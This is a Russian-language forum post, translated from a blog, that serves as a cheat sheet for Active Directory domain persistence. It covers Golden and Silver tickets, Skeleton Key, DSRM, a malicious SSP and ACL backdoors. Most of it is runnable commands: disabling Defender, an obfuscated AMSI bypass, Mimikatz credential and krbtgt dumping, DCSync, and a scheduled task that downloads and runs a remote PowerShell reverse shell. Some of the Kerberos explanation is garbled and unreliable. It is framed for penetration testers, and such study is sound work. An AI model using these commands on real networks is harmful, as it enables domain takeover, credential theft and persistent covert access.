Статья Active Directory - Domain Persistence

Jolah Milovski

RAM
Пользователь
Регистрация
17.06.2021
Сообщения
119
Реакции
150

Active Directory - Domain Persistence



1651764846853.png


Этот руководство объясняет сохранение домена Active-Directory главным образом путем создания Golden tickets, Silver tickets, Skeleton Keys, DSRM и несколько ACL атаки в деталях. Я также объясню те термины, которые каждый пентестер должен контролировать, чтобы понять проведенные атаки в сети Active Directory. Вы можете называть это шпаргалкой также.

Я буду продолжать обновлять эту статью новыми методами сохранения домена.

На протяжении всей статьи я буду использовать Invoke-Mimikatz при сохранении в домене Windows/Active Directory. Если требуются любые другие инструменты, они будут упомянуты в конце.

Как работает система kerberos?



1651765150172.png




Давайте разберем каждый шаг из приведенной выше диаграммы и поймем, как взаимодействует система и аутентификация между хост-системами и контроллером домена. Надеюсь, вы уже знаете основные роли и функции в среде Active Directory.

1. Клиент запрашивает TGT у KDC

  1. Привилегированный пользователь хочет получить доступ к определенной службе от приложения или сервера с поддержкой Kerberos.
  2. Пользователь отправляет метку времени в KDC, которая зашифрована и подписана NTLM хэшем пароля пользователя.
  3. Для того чтобы KDC мог проверить, сделан ли запрос от того пользователя, за которого он себя выдает, требуется следующее.
2. KDC отправляет TGT клиенту

  • KDC получает и расшифровывает зашифрованную метку времени.
  • KDC проверяет, что запрос поступил от пользователя, за которого он себя выдает, и отвечает билетом Ticket Granting Ticket (TGT), который может выдать другой билет.
  • Отправленный TGT шифруется и подписывается НТМL-хэшем KRBTG, который представляет собой особую учетную запись KDC, используемую только для этой цели. Это означает, что TGT может быть прочитан и открыт только KRBTG.

3. Клиент запрашивает ТГТ

  1. Клиент получает TGT, отправляет его обратно в DC и запрашивает услугу Ticket Granting Service (TGS).
  2. KDC получает TGS, расшифровывает его и выполняет следующую проверку.
  3. Единственное, что он проверяет, это может ли он расшифровать TGT или нет. Если это возможно, он предполагает, что все содержимое внутри TGT действительно. Эта проверка длится до 20 минут для любого запроса TGT, отправленного в KDC.
4. KDC отправляет TGS с зашифрованной сессией.

  • Как только TGT расшифровывается, KDC отвечает TGS.
  • Примечание: KDC не имеет никакой роли, кроме сертификата привилегированной роли (PRG).
  • TGS, отправленный из KDC, зашифрован НТМL хэшем услуги, которую пользователь запросил у приложения или сервера с поддержкой Kerberos. Это означает, что TGT может быть прочитан и открыт только сервером приложения.

5. Клиент отправляет билет на услугу

  • Клиент подключается к серверу приложений и предъявляет TGS, полученный от KDC для запрашиваемой услуги.
  • Поскольку TGS зашифрован с помощью НТМL-хэша учетной записи сервиса, он расшифровывает TGS и затем решает, может ли пользователь получить доступ к сервису или нет.

6. Сервер приложений отправляет метку времени клиенту.

  • Клиент получает услугу, которую он запросил у сервера приложений.
  • Существует взаимная аутентификация между клиентом и сервером приложений, чтобы легальный клиент не отправил TGS на нелегальный сервер приложений.

Важные моменты, о которых следует помнить

  • NTLM хэш пароля для шифрования Kerberos RC4.
  • Билет на вход (TGT) обеспечивает авторизацию пользователя на DC.
  • Политика Kerberos проверяется только при создании TGT.
  • DC проверяет учетную запись пользователя, только если TGT > 20 минут.
  • Проверка PAC Service Ticket (TGS) является необязательной и редкой. Это проверка валидности между KDC и сервером приложений напрямую.
  • Сервер LSASS отправляет запрос на проверку PAC службе нетлогина DC (NRPC).
  • Если она работает как служба, проверка PAC необязательна (отключена).
  • Если служба работает как System, она выполняет проверку подписи сервера на PAC (долгосрочный ключ учетной записи компьютера).

Итак, это шаги того, как обычно работает система Kerberos. Злоумышленник может злоупотребить каждым шагом из перечисленных выше для получения выгоды. Я предполагаю, что у вас есть доступ к контроллеру домена и вам требуется только постоянство. Поскольку теперь вы понимаете, как работает система Kerberos, мы можем приступить к тому, как воспользоваться этими шагами.


Golden Ticket

Мы будем злоупотреблять 3-м шагом в системе Kerberos с помощью Golden Ticket.
Golden Ticket подписан и зашифрован хэшем учетной записи KRBTGT, что делает его действительным TGT-билетом.
Поскольку проверка учетных записей пользователей не производится контроллером домена (службой KDC) до тех пор, пока TGT не станет старше 20 минут, мы можем использовать даже удаленные/отмененные учетные записи.
Хеш пользователя krbtgt может быть использован для выдачи себя за любого пользователя с любыми привилегиями даже с машины, не принадлежащей домену.
Смена пароля не влияет на эту атаку.

Методология

1. Получите сессию Powershell от имени "администратора домена", используя атаку ""Over pass the hash".
2. Создайте New-PSSession, подключившись к "контроллеру домена".
3. Войдите в новый сеанс с помощью Enter-PSSession
4. Обход AMSI
5. Выход
6. Загрузите Mimikatz.ps1 в новую сессию с помощью команды Invoke-command
7. Войдите в новый сеанс, снова используя Enter-PSSession
8. Теперь мы можем выполнить mimikatz на DC.
9. Запишите хэш krbtgt.
10. Теперь зайдите в любую учетную запись "не администратора домена".
11. Загрузите файл Mimikats.ps1
12. Теперь мы можем создать тикет, используя хэш DC krbtgt.
13. Теперь мы можем получить доступ к любой службе на DC. Пример ls \\dc-corp\C$ или


Код с оформлением (BB-коды):
PsExec64.exe \\adminsys.star.castle.local -u star\adminsys -p passwordhere cmd

Invoke-Mimikatz

1. Отключить Защитника​

Код с оформлением (BB-коды):
Set-MpPreference -DisableRealtimeMonitoring $true

2. Обход AMSI​

Код с оформлением (BB-коды):
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{O}"-F'F', 'rE' ) ) 3; ( GeT-VariaBle ( "1Q2U" + "zX" )  -VaL_s+)."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{@}{5}" -f'Util', 'A', 'Amsi','.Management.', 'utomation.','s', 'System' ))."g`etf`iE1D"( ( "{O}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{O}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )

3. Выполните mimikatz на DC от имени DA, чтобы получить хэш krbtgt​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computer-name>

4. Создать тикет на любой машине (атака «pass the ticket»)​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain-name-goes-here /sid:sid-goes-here /krbtgt:hash-goes-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

/ptt : внедрить билет в текущий процесс Powershell/нет билета на диске
/ticket : сохранить билет в файл для последующего использования
/startoffset : указать правильные значения смещения в соответствии с политикой домена, используя (Get-DomainPolicy -domain moneycorp.local) «политика kerberos» , иначе сессия может быть заблокирована/не создана

5. Список доступных служб Kerberos​

Код:
klist

Дополнительные команды​

Чтобы использовать функцию DCSync для получения хэша krbtgt, выполните приведенную ниже команду с привилегиями DA.

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Использование параметра DCSync не требует выполнения кода (нет необходимости запускать Invoke-Mimikatz) на целевом контроллере домена.

Использование NTML-хэша KRBTGT для создания Golden Ticket​

  • Требуются привилегии DA, которые могут быть выполнены с использованием over-pass-the-hash для запуска сеанса PowerShell в качестве администратора домена.
  • Введите PSSession в контроллер домена и создайте дамп хэшей.
Код с оформлением (BB-коды):
# Enter session
powershell -ep bypass
$sess = New-PSSession -ComputerName <computer-name>
Enter-PSSession $sess

# Bypass Protections
[star-dc]:PS> Set-MpPreference -DisableRealtimemonitoring $true
[star-dc]:PS> Set-MpPreference -DisableIOAVProtection $true

# exit PSRemote session
exit

# Get the KRBTGT hash
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession $sess
[star-dc]:PS> Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
[star-dc]:PS> Invoke-Mimikatz

Сейчас на любая машина, даже если она не является частью домена, но может получить доступ к DC через сети мы можем использовать информацию из хэша krbtgt для создания Golden Ticket.
Код с оформлением (BB-коды):
#Note the admin SID
. .\PowerView.ps1
Get-DomainSID -Administrator

#Load the krbtgt hash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain-name-here /sid:admin-sid-here /krbtgt:krbtg-hash-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Теперь мы можем исследовать файловую систему DC и выполнять команды WMI.

Код с оформлением (BB-коды):
ls \\star-dc\C$\
gwmi -Class win32_computersystem -ComputerName star-dc

Silver Ticket

  • Мы будем пользоваться 5-м шагом в системе Kerberos с помощью silver ticket.
  • Действительный TGS (Golden Ticket — TGT).
  • Зашифровано и подписано хэшем NTLM учетной записи службы (golden tisket подписанный хэшем krbtgt), работающей с этой учетной записью.
  • Службы редко проверяют PAC (сертификат привилегированного атрибута).
  • Службы разрешат доступ только к самим службам.
  • Разумный период сохранения (по умолчанию 30 дней для учетных записей компьютеров).
Список SPN: https://adsecurity.org/?page_id=183.

Методология/шаги​

  • 1. Получите сеанс Powershell в качестве «администратора домена», используя «Передача хэша». атаку
  • 2. Создайте New-PSSession , прикрепленный к «контроллеру домена»
  • 3. Войдите в новый сеанс, используя Enter-PSSession.
  • 4. Обойти AMSI
  • 5. Выход
  • 6. Загрузите Mimikatz.ps1 в новую сессию с помощью команды Invoke
  • 7. Войдите в новый сеанс Enter-PSSession снова
  • 8. Теперь мы можем выполнить mimikatz на DC
  • 9. krbtgt хэш
  • 10. Запросить доступ для обслуживания ДЦ с помощью хэша rc4
  • 11. Запланируйте и выполните задачу

Invoke-Mimikatz​

1. Выполните mimikatz на DC от имени DA, чтобы получить хэш krbtgt​

Код с оформлением (BB-коды):
  Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc

2. Используя хэш учетной записи компьютера контроллера домена, приведенная ниже команда обеспечивает доступ к общим ресурсам на контроллере домена.

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::golden /domain:star-dc /sid:admin-sid-here /target:star-dc /service:CIFS /rc4:rc4-hash-here /user:Administrator /ptt"'

3. Запланируйте и выполните задачу

Код с оформлением (BB-коды):
schtasks /create /S star-dc /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10:8080/Invoke-PowerShellTcp.psi''')'"

schtasks /Run /S star-dc /TN "STCheck"

Для доступа к WMI нам нужно создать два билета: один для службы HOST, а другой для RPCSS.

Skeleton Key
  • Skeleton key - это метод сохранения, при котором можно исправить домен. Контроллер (процесс Lsass), чтобы разрешить доступ любому пользователю с единыv паролем.
  • Атака была обнаружена компанией Dell Secureworks, которая использовала вредоносное ПО под названием Skeleton Key.
  • Все общеизвестные методы НЕ сохраняются после перезагрузки .

Методология/шаги​

1. Внедрить Skeleton ключ в DC
2. Теперь мы можем получить доступ к любой машине с паролем как mimikatz

Invoke-Mimikatz​

1. Используйте приведенную ниже команду, чтобы ввести скелетный ключ​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton' -ComputerName <computer-name>

Пароль от skeleton key: mimikatz

2. Теперь мы можем получить доступ к любой машине с действительным именем пользователя и паролем как mimikatz.​

Код с оформлением (BB-коды):
Enter-PSSession -Computername <computer-name> -credential dcorp\Administrator


Дополнительные команды

LSASS работает как защищенный процесс​

Если Lsass работает как защищенный процесс, мы все еще можем использовать Skeleton key, но для этого нужен драйвер mimikatz (mimidriv.sys) на диске целевой DC
Код с оформлением (BB-коды):
mimikatz# privilege::debug
 mimikatz# !+
 mimikatz# !processprotect /process:lsass.exe /remove
 mimikazt#  misc::skeleton
 mimikatz# !-


Вышеупомянутое будет очень шумно в журналах - Установка службы (драйвер режима ядра)


Режим восстановления службы каталогов (DSRM)

  • DSRM — это режим восстановления службы каталогов.
  • На каждом контроллере домена есть локальный администратор, который называется «Администратор», чей пароль является паролем DSRM.
  • Пароль DSRM ( SafeModePassword ) требуется, когда сервер повышается до контроллера домена, и его редко меняют.
  • После изменения конфигурации на контроллере домена можно передать хэш NTLM этого пользователя для доступа к контроллеру домена.

Методология

1. Извлеките учетные данные из файла SAM с контроллера домена.
2. Измените поведение входа в систему для учетной записи DSRM.
3. Передайте хэш администратора DSRM и войдите в систему.

Invoke-Mimikatz​

1. Сброс пароля DSRM (требуются привилегии DA)​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc

2. Сравните хэш администратора с хешем администратора приведенной ниже команды.​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc

Если хэш NTML администратора, использующего /patch , отличается NTML администратора, использующего дамп DSRM , то это правильный хэш локального администратора DSRM.

3. Добавьте/измените поведение при входе в систему для учетной записи DSRM.​

Поскольку это локальный администратор DC, мы можем передать хэш для аутентификации. Но поведение входа для учетной записи DSRM должно быть изменено, прежде чем мы сможем использовать ее хэш.

Код с оформлением (BB-коды):
#Get a session as the DC
Enter-PSSession -Computername dcorp-dc

#check DSRM property
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

#If DSRMAdminLognonBehariour attribute not created then create and set
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose

#If already present but wrong value , then update
Set-ItemProperty -Name "DsrmAdminLogonBehavior" -Value 2

4. Используйте команду ниже, чтобы передать хэш​

Код:
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:dsrm-hash-goes-here /run:powershell.exe"'

5. Теперь мы можем запускать команды на DC​

Код:
 ls \\dcorp-dc\c$


Пользовательский поставщик поддержки безопасности (SSP)

Поставщик поддержки безопасности (SSP) — это библиотека DLL, предоставляющая способы приложение для получения аутентифицированного соединения. Некоторые пакеты SSP от Майкрософт
  • NTLM
  • Kerberos
  • Wdigest
  • CredSSP
Mimikatz предоставляет собственный поставщик общих служб — mimilib.dll. Журналы SSP начинаются со следующей перезагрузки машины. Этот поставщик общих служб регистрирует локальные входы в систему, пароли учетных записей служб и учетных записей компьютеров в виде открытого текста на целевом сервере.

Mimikatz (Как настроить SSP)​

Способ 1​

Перетащите mimilib.dll в system32 и добавьте mimilib в "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages"

Код с оформлением (BB-коды):
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Ccontrol\Lsa\OSconfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\control\Lsa\OSconfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\control\Lsa\ -Name 'Security Packages' -Value $packages

Способ 2​

Используя mimikatz, внедрите в Isass (нестабильно с Server 2016)

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"misc::memssp"'

Теперь вы можете просматривать все локальные журналы logo n с учетными данными в C:\Windows\System32\kiwissp.log


ACL — AdminSDHolder


  • Распологается в системном контейнере домена и используется для управления разрешениями - с помощью ACL - для некоторых встроенных привилегированных групп (называемых защищенные группы).
  • Распространитель дескриптора безопасности (SDPROP) запускается каждый час и сравнивает ACL защищенных групп и члены с ACL AdminSDHolder и любые различия перезаписывается в объектном ACL.

Invoke-SDPropagator​

Запустите SDProp вручную​

Код с оформлением (BB-коды):
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

Для машин Pre-Server 2008​

Код с оформлением (BB-коды):
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose

Powerview (ветвь разработки)

Добавьте разрешения на полный доступ для пользователя в AdminSDHolder​


Код с оформлением (BB-коды):
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose

Другие интересные разрешения (Reset-password, Write-members) для пользователя в AdminSDHolder​

Код с оформлением (BB-коды):
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights WriteMembers -Verbose

Проверить права администратора домена​

Код с оформлением (BB-коды):
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}

Злоупотребление ResetPassword/ForceChangePassword​

Код с оформлением (BB-коды):
Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose


Злоупотребление ForceChangePassword с учетными данными другого пользователя​

Код с оформлением (BB-коды):
Import-Module .\PowerView_dev.ps1

#Setting password for runas user for
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force

#Setting password for runas user for
$Cred = New-Object System.Management.Automation.PSCredential('Domain-Name-Here\User-here', $SecPassword)

#Set new password fot the user where you can abuse ForceChangePassword
$UserPassword = ConvertTo-SecureString 'Password1!' -AsPlainText -Force

#Update the password for that user
Set-DomainUserPassword -Identity User-Whose-Password-You-Want-To-Change-here -AccountPassword $UserPassword -Crendential $Cred

Получить общий доступ

Импортируйте ADModule и установим скрипт SDPropagator PS в папку с тем же путем.​


Код с оформлением (BB-коды):
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose

$sess = New-PSSession -Computername star-dc.root.local
Invoke-Command -FilePath ".\Invoke-SDPropagator.ps1" -Session $sess
Enter-PSSession -Session $sess

[star-dc.root.local]:PS> Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

Теперь, если мы проверим разрешения пользователя, у него должен быть общий доступ ко всем.​


Код с оформлением (BB-коды):
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}

Ипользование общего доступа

Испльзование общего доступа

Код с оформлением (BB-коды):
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user1' -Verbose


ACL-DCSync

  • Есть еще более интересные ACL, которые можно использовать.
  • Вот например, с привилегиями DA список ACL для корня домена может быть изменен, чтобы предоставить полезные права, такие как FullControl или возможность запускать «DCSync».

Методология

1. Проверьте, есть ли у пользователя права на репликацию с помощью PowerView
2. Если у пользователей нет прав на репликацию, добавьте их из оболочки администратора домена.
3. Получить хэши krbtgt или любого другого пользователя, которого мы хотим

PowerView​

1. Добавьте права для DCSync​

Код с оформлением (BB-коды):
Add-ObjectAcl -TargetDistinguishedName 'DC=domain,DC=local' -PrincipalSamAccountName student1 -Rights DCSync -Verbose

Invoke-Mimikatz

2. Выполните DCSync​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'


ACL — дескрипторы безопасности

  • Можно изменить дескрипторы безопасности (информацию о безопасности, такую как Владелец, основная группа, DACL и SACL) нескольких методов удаленного доступа (защищаемые объекты), чтобы разрешить доступ пользователям без прав администратора.
  • Требуются административные привилегии .
  • Это, конечно, работает как очень полезный и действенный бэкдор-механизм.
  • Безопасность Язык определения дескрипторов определяет формат, который используется для описать дескриптор безопасности. SDDL использует строки ACE для DACL и SACL:
Код с оформлением (BB-коды):
ace_type; ace_flags;rights;object_guid;inherit_object_guid;account_sid

  • ACE для встроенных администраторов пространств имен WMI
    Код с оформлением (BB-коды):
    A:Cl;CCDCLCSWRPWPRCWD;;;SID
Документация: https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings?redirectedfrom=MSDN

Методология

Получив права администратора на машине, мы можем изменить дескрипторы безопасности служб для доступа к службам без административные привилегии.

Set-RemoteWMI

1. На локальной машине для пользователя X

Код с оформлением (BB-коды):
Set-RemoteWMI -UserName userX -Verbose

2. На удаленной машине для пользователя X без явных учетных данных​

Код с оформлением (BB-коды):
Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'root\cimv2' -Verbose

3. Теперь мы можем выполнять WMI команды​

Код с оформлением (BB-коды):
Get-WmiObject -Class win32_operatingsystem -ComputerName <computer>

4. На удаленной машине с явными учетными данными. Только root\cimv2 и вложенные пространства имен​


CODE=rich] Set-RemoteWMI -UserName userX -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose [/CODE]

5. На удаленной машине удалить разрешения​

Код с оформлением (BB-коды):
Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose


Set-RemotePSRemoting

1. На локальной машине для пользователя X​

Код с оформлением (BB-коды):
Set-RemotePSRemoting -UserName userX -Verbose

2. Теперь мы можем выполнять ScriptBlock через Invoke-Command

Код с оформлением (BB-коды):
Invoke-Command -ScriptBlock {whoami} -ComputerName <computer>

3. На удаленной машине для пользователя X без учетных данных​

Код с оформлением (BB-коды):
Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Verbose

4. На удаленной машине удалите разрешения​

Код:
Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Remove

Add-RemoteRegBackdoor

1. Использование DAMP с правами администратора на удаленной машине​


Код с оформлением (BB-коды):
Add-RemoteRegBackdoor -ComputerName <computer> -Trustee user1 -Verbose

RemoteHashRetrieval

2. Получить хэш учетной записи компьютера​

Код с оформлением (BB-коды):
 Get-RemoteMachineAccountHash -ComputerName <computer> -Verbose

При ошибках замените $IV на $InitV в скрипте

3 .Получить хеш локальной учетной записи​


Код с оформлением (BB-коды):
Get-RemoteLocalAccountHash -ComputerName <computer> -Verbose

4. Получить кешированные учетные данные домена​

Код с оформлением (BB-коды):
Get-RemoteCachedCredential -ComputerName <computer> -Verbose


Используемые инструменты​

  1. Скачать Invoke-Mimikatz отсюда: Invoke-Mimikatz
  2. Загрузите PowerView отсюда: powerview.ps1
  3. Загрузите PowerView Dev отсюда: powerview.ps1
  4. Set-RemoteWMI скачать отсюда: Set-RemoteWMI.ps1
  5. Set-RemotePSRemoting скачать отсюда: Set-RemotePSRemoting.ps1
  6. Add-RemoteRegBackdoor скачать отсюда: Add-RemoteRegBackdoor.ps1
  7. RemoteHashRetrieval скачать отсюда: RemoteHashRetrieval.ps1


Перевод статьи: https://0xstarlight.github.io/posts/Active-Directory-Domain-Persistence/
 


Напишите ответ...